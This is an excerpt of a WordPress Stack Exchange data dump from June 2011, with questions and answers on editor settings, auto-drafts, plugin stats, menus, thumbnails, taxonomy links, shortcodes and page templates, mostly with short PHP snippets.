  <row Id="21128" PostTypeId="2" ParentId="21123" CreationDate="2011-06-26T22:45:52.990" Score="0" ViewCount="" Body="&lt;p&gt;Think this might be what your looking for, code and more info from &lt;a href=&quot;http://wpsnipp.com/index.php/functions-php/disable-tinymce-html-editor-for-everyone-but-admin/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;wpsnipp:&lt;/strong&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_default_editor', create_function('', 'return &quot;tinymce&quot;;') );&#xA;add_action( 'admin_head', 'disable_html_editor_wps' );&#xA;function disable_html_editor_wps() {&#xA;global $current_user;&#xA;get_currentuserinfo();&#xA;if ($current_user_can('manage_options') {&#xA;    echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt;#editor-toolbar #edButtonHTML, #quicktags {display: none;}&amp;lt;/style&amp;gt;';&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i've altered it from using user levels to using &lt;code&gt;if ($current_user_can('manage_options') {&lt;/code&gt; so this should remove it for everybody but admin, code needs to gi in your themes functions.php&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-26T22:45:52.990" CommentCount="1" />
  <row Id="21129" PostTypeId="2" ParentId="21123" CreationDate="2011-06-26T22:46:39.463" Score="3" ViewCount="" Body="&lt;p&gt;Why not use custom post types and don't add any support for the editor, that is afterall what they are for and the easiest way . The answer in this post covers how to do that,   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/18101/hide-content-box-with-custom-post-type&quot;&gt;Hide content box with Custom Post Type ?&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove that functionality for pages or posts (and custom types) you can try and use &lt;code&gt;remove_post_type_support&lt;/code&gt; . For pages;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'my_remove_editor_from_post_type');&#xA;function my_remove_editor_from_post_type() {&#xA;    remove_post_type_support( 'page', 'editor' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_post_type_support&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/remove_post_type_support&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A hacky solution is to use CSS &lt;code&gt;display:none;&lt;/code&gt; for the &lt;code&gt;#editorcontainer&lt;/code&gt; or one of the sub id or classes. You can also then enqueue that style only for particular users.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-06-26T22:46:39.463" />
  <row Id="21130" PostTypeId="1" CreationDate="2011-06-26T23:09:38.733" Score="1" ViewCount="162" Body="&lt;p&gt;I've made custom post type without title and editor and I use custom taxonomies, custom fields and attachments to form a post. My title is generated from custom taxonomies and custom fields (or &quot;ID #&quot; if nothing else is set). Here's title code (could use some polishing probably):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_post_type_title ( $post_id ) {&#xA;    global $wpdb;&#xA;    if ( get_post_type( $post_id ) == 'cars' ) {&#xA;        $autos = wp_get_object_terms($post_id, 'brand');&#xA;            $brand= '';&#xA;            $model= '';&#xA;                foreach ( $autos as $auto ) {&#xA;                    if ( $auto-&amp;gt;parent == 0) {&#xA;                        $brand = ' '.$auto-&amp;gt;name;&#xA;                    } else {&#xA;                        $model .= ' '.$auto-&amp;gt;name;&#xA;                    }&#xA;                }&#xA;        $engine = get_post_meta($post_id, 'Engine', true);&#xA;        if ($engine != '') { $engine = ', '.$engine.'l'; }&#xA;        $title = $brand.$model.$engine;&#xA;        if ($title == '') { $title = 'ID '.$post_id; }&#xA;        $slug = sanitize_title('id-'.$post_id.$brand.$model.$engine);&#xA;        $where = array( 'ID' =&amp;gt; $post_id );&#xA;        $wpdb-&amp;gt;update( $wpdb-&amp;gt;posts, array( 'post_title' =&amp;gt; $title, 'post_name' =&amp;gt; $slug), $where );&#xA;    }&#xA;}&#xA;&#xA;add_action('init', 'cars_save_post');&#xA;function cars_save_post($post_id) {&#xA;        if ( ! defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; ! DOING_AUTOSAVE ) return;&#xA;        add_action('save_post', 'custom_post_type_title', 100);&#xA;        add_action('publish_post', 'custom_post_type_title', 100);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem is, if I attach an image and navigate away from the post, post will be saved, but won't apear as draft in my post list. The only way (that I know of) I can reach it - thru media's &quot;attached to&quot; link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if it's a bug or what, but I would like to see those posts in my Manage Posts list. Any solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I wasn't clear enough. Just try this scenario:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add New Post (regular post will do);&lt;/li&gt;&#xA;&lt;li&gt;Upload an Image to it;&lt;/li&gt;&#xA;&lt;li&gt;Keep everything else empty;&lt;/li&gt;&#xA;&lt;li&gt;Do not save the post;&lt;/li&gt;&#xA;&lt;li&gt;Leave the page;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now if you'll check your Posts page, you won't find an &quot;Auto Draft&quot; in it.&#xA;But if you'll check your Media page, image you uploaded just now, will be attached to &quot;Auto Draft&quot;, which you can access from there. Even if you delete that image, that post will stay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to keep my server clean, so if Author made a mistake and forgot to save his post, he should have an easy access to that post via Posts Page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question was, is this a bug and how can I fix it (display &quot;Auto Drafts&quot; in authors Posts page)?&lt;/p&gt;&#xA;" OwnerUserId="5744" LastEditorUserId="5744" LastEditorDisplayName="" LastEditDate="2011-06-27T17:19:33.507" LastActivityDate="2011-06-27T17:19:33.507" Title="Post Auto Draft Issue" Tags="&lt;attachments&gt;&lt;save-post&gt;&lt;draft&gt;" AnswerCount="1" CommentCount="12" />
  <row Id="21131" PostTypeId="2" ParentId="21105" CreationDate="2011-06-26T23:09:55.163" Score="1" ViewCount="" Body="&lt;p&gt;Here's the link to the API for &lt;a href=&quot;http://de.tinychat.com/developer/&quot; rel=&quot;nofollow&quot;&gt;Tinychat&lt;/a&gt;. It was hidden in the footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also take a look at &lt;a href=&quot;http://us2.campaign-archive1.com/?u=70988277cb322d150c4001f07&amp;amp;id=5f81a8134a&amp;amp;e=5103a2db5d#one&quot; rel=&quot;nofollow&quot;&gt;this thread on WeekendHackers&lt;/a&gt;, where someone is searching for the same solution. Maybe you can put your heads together :)&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-26T23:09:55.163" />
  <row Id="21132" PostTypeId="1" AcceptedAnswerId="21141" CreationDate="2011-06-26T23:37:01.610" Score="3" ViewCount="62" Body="&lt;p&gt;I released a new plugin to the .org repository about a month ago, and have committed several new versions since then, but the pie chart on &lt;a href=&quot;http://wordpress.org/extend/plugins/basic-google-maps-placemarks/stats/&quot; rel=&quot;nofollow&quot;&gt;the stats page&lt;/a&gt; has always stayed at 100% for an arbitrary version. For example, a week or so after 1.1 was released, it said that 100% of users had 1.0 installed, and recently it's been saying that 1.1.2 has 100%. I released 1.1.3 yesterday and it's gotten about 75 downloads so far, but the chart still says 1.1.2 has 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize there's probably some caching going on, but there's obviously a problem. It has around 1000 total downloads spread out over 5 releases, and we know that users don't update very frequently, so the chart should show the numbers spread out more. I'm guessing the next time it updates it'll say that 1.1.3 has 100%, like it's done for previous versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong in my readme.txt or main PHP files? I've always had &lt;code&gt;Version: [current version number]&lt;/code&gt; in the main PHP file and &lt;code&gt;Stable tag: [current version number]&lt;/code&gt; in the readme.txt, and the readme.txt passes the validator.. You can browse through the different versions at &lt;a href=&quot;http://plugins.svn.wordpress.org/basic-google-maps-placemarks/tags/&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/basic-google-maps-placemarks/tags/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; The &lt;a href=&quot;http://codex.wordpress.org/File_Header&quot; rel=&quot;nofollow&quot;&gt;File Header&lt;/a&gt; page in the codex has a specification, which can be helpful in debugging issues.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt; Now it's stopped working again. It might just take a couple releases with the fixed headers to work, though.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-07-06T16:18:08.690" LastActivityDate="2011-07-06T16:18:08.690" Title="Repository reporting incorrect plugin 'active version' stat" Tags="&lt;plugin-repository&gt;&lt;plugin-stats&gt;" AnswerCount="1" />
  <row Id="21133" PostTypeId="1" CreationDate="2011-06-26T22:29:02.067" Score="0" ViewCount="38" Body="&lt;p&gt;I'm currently working with the 2010 theme and want to modify the nav bar so that when you click on a page that is listed on the navbar, it takes you to one of my categories pages (example, clicking on 'swag', will take you to the swag category page). How would I go about doing this? I've included my website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bro-campus.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bro-campus.com&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code that deals w/ the navbar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* Our navigation menu.  If one isn't filled out, wp_nav_menu falls back to wp_page_menu.  The menu assiged to the primary position is the one used.  If none is assigned, the menu with the lowest ID is used.  */ ?&amp;gt;&#xA;            &amp;lt;?php wp_nav_menu( array( 'container_class' =&amp;gt; 'menu-header', 'theme_location' =&amp;gt; 'primary' ) ); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #access --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&lt;/p&gt;&#xA;" LastActivityDate="2011-06-27T00:52:24.093" Title="Wordpress Theme Modification Help" Tags="&lt;php&gt;" AnswerCount="2" />
  <row Id="21134" PostTypeId="2" ParentId="21133" CreationDate="2011-06-26T22:33:14.830" Score="1" ViewCount="" Body="&lt;p&gt;You shouldn't need to modify the php code to do this, you can set up a custom link in the menu through the wordpress admin, and have it point to the url of your category page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, follow these steps in the admin interface:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Apperance&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Menus&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Under &lt;code&gt;Custom Links&lt;/code&gt;, enter the URL of your category page, as well as the label for the link.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Add to Menu&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That should do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/WKc3z.png&quot; alt=&quot;Menus&quot;&gt; &lt;img src=&quot;http://i.stack.imgur.com/HF0uw.png&quot; alt=&quot;Custom Links&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5871" LastActivityDate="2011-06-26T22:41:32.110" CommunityOwnedDate="2011-06-27T22:40:48.920" CommentCount="2" />
  <row Id="21135" PostTypeId="1" CreationDate="2011-06-27T00:32:29.630" Score="1" ViewCount="40" Body="&lt;p&gt;EDIT: aha! It appears to be the &quot;Role Scoper&quot; plugin causing this problem. Deactivating it restored the functionality. Consider this question null.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've enabled the capability of uploading files for contributors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I found a problem. When the contributor start a brand new post, he will see the &quot;Upload/Insert&quot; icons right above the post edit box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the contributor saves a draft then comes back later, then those icons will be gone!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the &quot;Capability Manager&quot; plugin to modify the contributor capabilities. I'll try another plugin and see if it makes a difference...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: nope, it doesn't make a difference. THe capabilities are stored in the database, and deactivating plugins leaves the capabilities as they were (they stay modified)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This appears to be a wordpress bug. I'm gunna file a bug repot...&lt;/p&gt;&#xA;" OwnerUserId="1226" LastEditorUserId="1226" LastEditorDisplayName="" LastEditDate="2011-06-28T23:53:45.320" LastActivityDate="2011-06-28T23:54:44.540" Title="Wordpress bug with capabilities?" Tags="&lt;uploads&gt;&lt;media&gt;&lt;capabilities&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="21136" PostTypeId="1" AcceptedAnswerId="21138" CreationDate="2011-06-27T00:51:49.280" Score="2" ViewCount="108" Body="&lt;p&gt;I've created a new custom post type and I need the post thumbnails or featured images generated by the &lt;code&gt;get_the_post_thumbnail()&lt;/code&gt; function to be set in percent, rather than pixels, as I'm using a fluid grid. Ideally I would only set the width (to 100%). Is there a way to do this? Potentially using &lt;code&gt;add_image_size()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-07-03T03:39:05.433" Title="set_post_thumbnail_size in percent, not pixels?" Tags="&lt;custom-post-types&gt;&lt;post-thumbnails&gt;&lt;add-image-size&gt;&lt;set-post-thumbnail-size&gt;" AnswerCount="3" />
  <row Id="21137" PostTypeId="2" ParentId="21133" CreationDate="2011-06-27T00:52:24.093" Score="2" ViewCount="" Body="&lt;p&gt;Posting this as a separate answer, because it's actually different from @Keoki Zee's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;do&lt;/em&gt; need to create a custom menu, but you do &lt;em&gt;not&lt;/em&gt; need to use a custom link.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;code&gt;Dashboard -&amp;gt; Appearance -&amp;gt; Menus&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;If necessary, Create a new menu&lt;/li&gt;&#xA;&lt;li&gt;Add whatever Pages to the menu that you want&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To add a Category, ensure that the appropriate metabox is available:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.1. Click &lt;code&gt;Screen Options&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.2. Ensure that the &lt;em&gt;Categories&lt;/em&gt; is enabled (checked)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;In the &lt;em&gt;Categories&lt;/em&gt; metabox, select the Categories that you want to add to your menu, then click &lt;code&gt;Add To Menu&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save the menu&lt;/li&gt;&#xA;&lt;li&gt;Add the Menu to the appropriate Theme Location, in the metabox in the upper left-hand corner, titled &lt;em&gt;Theme Locations&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-27T00:52:24.093" />
  <row Id="21138" PostTypeId="2" ParentId="21136" CreationDate="2011-06-27T01:23:13.667" Score="3" ViewCount="" Body="&lt;p&gt;have you tried,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(has_post_thumbnail()) {                    &#xA;    $image_src = wp_get_attachment_image_src( get_post_thumbnail_id(),'full' );&#xA;     echo '&amp;lt;img src=&quot;' . $image_src[0]  . '&quot; width=&quot;100%&quot;  /&amp;gt;';&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="974" LastActivityDate="2011-06-27T01:23:13.667" CommentCount="2" />
  <row Id="21139" PostTypeId="2" ParentId="21136" CreationDate="2011-06-27T01:24:27.857" Score="0" ViewCount="" Body="&lt;p&gt;It's not possible to change the units of the default width and height output, but you can possibly override the output via css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* these are the classes that get added per default */&#xA;img.wp-post-image&#xA;img.attachment-thumbnail&#xA;img.attachment-medium&#xA;img.attachment-large&#xA;img.attachment-full&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can override it via something like &lt;code&gt;body img.attachment-large { width: 50% !important; height: 50% !important; }&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-27T01:24:27.857" />
  <row Id="21140" PostTypeId="2" ParentId="21135" CreationDate="2011-06-27T01:30:04.793" Score="1" ViewCount="" Body="&lt;p&gt;Activate the plugin again, reset your caps to default. I guess the problem is the plugin - not wp. Maybe it misses to add some capability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best would be to try to take a look at the capabilites that are assigned to the different roles.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;How-to inspect current user data the smart way&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Create an account for both roles (admin and contributer) and then &lt;code&gt;var_dump&lt;/code&gt; their capabilites with something like my old &lt;a href=&quot;http://wordpress.org/extend/plugins/your-friendly-current-user-deamon/&quot; rel=&quot;nofollow&quot;&gt;Current User Deamon Plugin&lt;/a&gt;. Just take a look at the capabilites, diff them and then add everything that's needed per hand.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-27T01:30:04.793" CommentCount="5" />
  <row Id="21141" PostTypeId="2" ParentId="21132" CreationDate="2011-06-27T01:35:32.137" Score="2" ViewCount="" Body="&lt;p&gt;I guess the following things could be a problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Adding &lt;code&gt;:&lt;/code&gt; after header comment &quot;keys&quot;&lt;/li&gt;&#xA;&lt;li&gt;Not using all possible header comments - WP reads the first 8bit (in a not really pleasent way), but I don't know how the repo does&lt;/li&gt;&#xA;&lt;li&gt;Move the &lt;code&gt;/*&lt;/code&gt; into the same line as the &lt;code&gt;&amp;lt;?php&lt;/code&gt; tag&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If nothing of these are part of the problem, then i don't know and you should consider contacting the hackers list with this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: One problem I have myself is that the repo is telling me that i have to upgrade one of my own plugins to some complete other. The solution was changing the folder name to something less general.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-27T02:59:55.590" LastActivityDate="2011-06-27T02:59:55.590" CommentCount="6" />
  <row Id="21142" PostTypeId="2" ParentId="21135" CreationDate="2011-06-27T02:39:07.760" Score="0" ViewCount="" Body="&lt;p&gt;Try deactivating the &quot;Role Scoper&quot; plugin or any other plugins that could potentially be causing the problem.&lt;/p&gt;&#xA;" OwnerUserId="1226" LastEditorUserId="1226" LastEditorDisplayName="" LastEditDate="2011-06-28T23:54:44.540" LastActivityDate="2011-06-28T23:54:44.540" />
  <row Id="21144" PostTypeId="1" AcceptedAnswerId="21147" CreationDate="2011-06-27T03:16:42.987" Score="1" ViewCount="99" Body="&lt;p&gt;I'm using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_the_term_list( $post-&amp;gt;ID, 'trpropcity', '', ' ', '' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to show a taxonomy link, I'd like to make this instance of it only have the first letter capitalized, Cleveland not CLEVELAND, I realize I could just change the taxonomy, but I actually want it all caps everywhere else on the site, so I figured it would be best to just change it once. I've been playing with ucwords and strtolower but haven't had any success yet.&lt;/p&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2011-06-29T09:05:37.603" Title="Make first letter of my taxonomy uppercase" Tags="&lt;php&gt;&lt;taxonomy&gt;" AnswerCount="3" />
  <row Id="21145" PostTypeId="2" ParentId="5979" CreationDate="2011-06-27T03:29:48.350" Score="0" ViewCount="" Body="&lt;p&gt;Check out this very cool and easy to follow tutorial on how to post from the front end (including photo galleries and custom fields!!).&#xA;&lt;a href=&quot;http://vudu.me/postreview&quot; rel=&quot;nofollow&quot;&gt;vudu.me/postreview&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1226" LastActivityDate="2011-06-27T03:29:48.350" />
  <row Id="21146" PostTypeId="1" AcceptedAnswerId="21150" CreationDate="2011-06-27T03:46:51.500" Score="3" ViewCount="67" Body="&lt;p&gt;This functions at the moment but it only returns the first value from the array. I've been struggling to echo, print, explode, or whatever the multiple custom field values that share the same key (mp3). The shortcode is looking for comma-separated urls aka &lt;code&gt;tracks=&quot;http://url1.mp3, http:/url2.mp3&quot;&lt;/code&gt;&#xA;I know i've created a bit of mess here. Wading into deeper waters...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post_meta_player&quot;&amp;gt;&#xA;&amp;lt;?&#xA;global $post;&#xA;if(get_post_meta($post-&amp;gt;ID, 'mp3', false))&#xA;{&#xA;foreach(get_post_meta($post-&amp;gt;ID, 'mp3', false) as $mp3)&#xA;    {&#xA;    $mytracks = print_r($mp3, ',');&#xA;    }&#xA;}&#xA;$shortcodes = '[mp3-jplayer tracks=&quot;'.$mytracks.'&quot;]';&#xA;mp3j_put( $shortcodes);&#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4499" LastActivityDate="2011-06-27T04:13:54.870" Title="explode array within shortcode" Tags="&lt;custom-field&gt;&lt;attachments&gt;&lt;shortcode&gt;" AnswerCount="1" />
  <row Id="21147" PostTypeId="2" ParentId="21144" CreationDate="2011-06-27T04:05:09.247" Score="4" ViewCount="" Body="&lt;p&gt;Build the links yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms = get_the_terms($post-&amp;gt;ID, 'trpropcity');&#xA;if($terms)&#xA;  foreach($terms as $term)&#xA;    echo '&amp;lt;a href=&quot;'.get_term_link($term, 'trpropcity').'&quot;&amp;gt;'.ucwords(strtolower($term-&amp;gt;name)).'&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-06-29T09:05:37.603" LastActivityDate="2011-06-29T09:05:37.603" CommentCount="4" />
  <row Id="21148" PostTypeId="1" AcceptedAnswerId="21155" CreationDate="2011-06-27T04:07:42.027" Score="2" ViewCount="33" Body="&lt;p&gt;I know if I had a page that had a permalink such as &lt;code&gt;/stories/&lt;/code&gt; then I could create a page in my template called &lt;code&gt;page-stores.php&lt;/code&gt; and it would load in place of the default &lt;code&gt;page.php&lt;/code&gt; when that page loaded (see &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is if I had that two page templates, maybe &lt;code&gt;page.php&lt;/code&gt; and &lt;code&gt;page2.php&lt;/code&gt;, if I could use the &lt;code&gt;functions.php&lt;/code&gt; file to specify that if a page had a permalink of &lt;code&gt;/stories/&lt;/code&gt; it would use &lt;code&gt;page2.php&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is an option when editing a page to let the end user choose the page template, but in this case I would like to set it specifically.&lt;/p&gt;&#xA;" OwnerUserId="4400" LastActivityDate="2011-06-27T04:46:18.830" Title="Adjust which tempalte a page uses with a function?" Tags="&lt;functions&gt;&lt;template&gt;&lt;page-template&gt;&lt;permalink&gt;" AnswerCount="1" />
  <row Id="21149" PostTypeId="1" CreationDate="2011-06-27T04:09:04.897" Score="1" ViewCount="34" Body="&lt;p&gt;As we know we can sort pages in a query by their page order attribute, I can't figure out how to get this number to use it for a conditional and the max number listed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="6519" LastActivityDate="2011-06-27T04:21:31.870" Title="How to get the order attribute of a page" Tags="&lt;pages&gt;&lt;page-attributes&gt;" AnswerCount="1" />
  <row Id="21150" PostTypeId="2" ParentId="21146" CreationDate="2011-06-27T04:13:54.870" Score="2" ViewCount="" Body="&lt;p&gt;Kind of confusing question, but I think you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[mp3-jplayer tracks=&quot;'.implode(', ', get_post_meta($post-&amp;gt;ID, 'mp3', false)).'&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you get a array of meta key values this will join the into a comma-separated string&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-27T04:13:54.870" CommentCount="1" />
  <row Id="21151" PostTypeId="2" ParentId="21149" CreationDate="2011-06-27T04:21:31.870" Score="1" ViewCount="" Body="&lt;p&gt;Try with &lt;code&gt;echo get_post_field('menu_order', $post-&amp;gt;ID);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(or &lt;code&gt;$post-&amp;gt;menu_order&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-27T04:21:31.870" />
  <row Id="21152" PostTypeId="1" AcceptedAnswerId="21156" CreationDate="2011-06-27T04:29:19.053" Score="1" ViewCount="92" Body="&lt;p&gt;Is there any reason why Wordpress restricts the amount of posts you can administer at once to 20?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to display all posts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change the category for about 1800 posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have the ability to change the post amount under screen options; see here: tinyurl.com/3npm5yz&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using WP v3.1.3&lt;/p&gt;&#xA;" OwnerUserId="3206" LastEditorUserId="3206" LastEditorDisplayName="" LastEditDate="2011-06-27T06:09:20.557" LastActivityDate="2011-06-27T06:09:20.557" Title="display all posts in wordpress admin" Tags="&lt;posts&gt;&lt;admin&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21153" PostTypeId="1" AcceptedAnswerId="21157" CreationDate="2011-06-27T04:30:55.637" Score="2" ViewCount="43" Body="&lt;p&gt;Is there a plugin that makes external links open in new window, BUT only on the pages or domains or links I specify?&lt;/p&gt;&#xA;" OwnerUserId="4088" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-06-27T08:15:23.537" LastActivityDate="2011-06-27T08:15:23.537" Title="Is there a plugin that makes extnernal links open in new window, BUT" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="21154" PostTypeId="1" AcceptedAnswerId="21171" CreationDate="2011-06-27T04:35:52.867" Score="1" ViewCount="45" Body="&lt;p&gt;I think &lt;code&gt;blogs.dir&lt;/code&gt; is supposed to be used to separate content for the different blogs on a network install of Wordpress (MU or 3.0+ with networks enabled), however, I've not been able to find a clear guide to using it. Can someone shed some light and maybe post a few links to information on how to set it up, what to put in there, what the permissions should be set to, etc. ?&lt;/p&gt;&#xA;" OwnerUserId="4400" LastActivityDate="2011-06-27T09:46:27.157" Title="Can somebody tell me how I am supposed to be using blogs.dir for network / MU sites?" Tags="&lt;multisite&gt;&lt;content&gt;&lt;network&gt;&lt;configuration&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21155" PostTypeId="2" ParentId="21148" CreationDate="2011-06-27T04:46:18.830" Score="2" ViewCount="" Body="&lt;p&gt;This might work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('page_template', 'custom_page_template');&#xA;&#xA;function custom_page_template($template){&#xA;  // check your permalink here&#xA;  if(get_query_var('pagename') === 'stories')&#xA;    return locate_template(array('page2.php', 'page.php')); &#xA;&#xA;  return $template; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-27T04:46:18.830" CommentCount="1" />
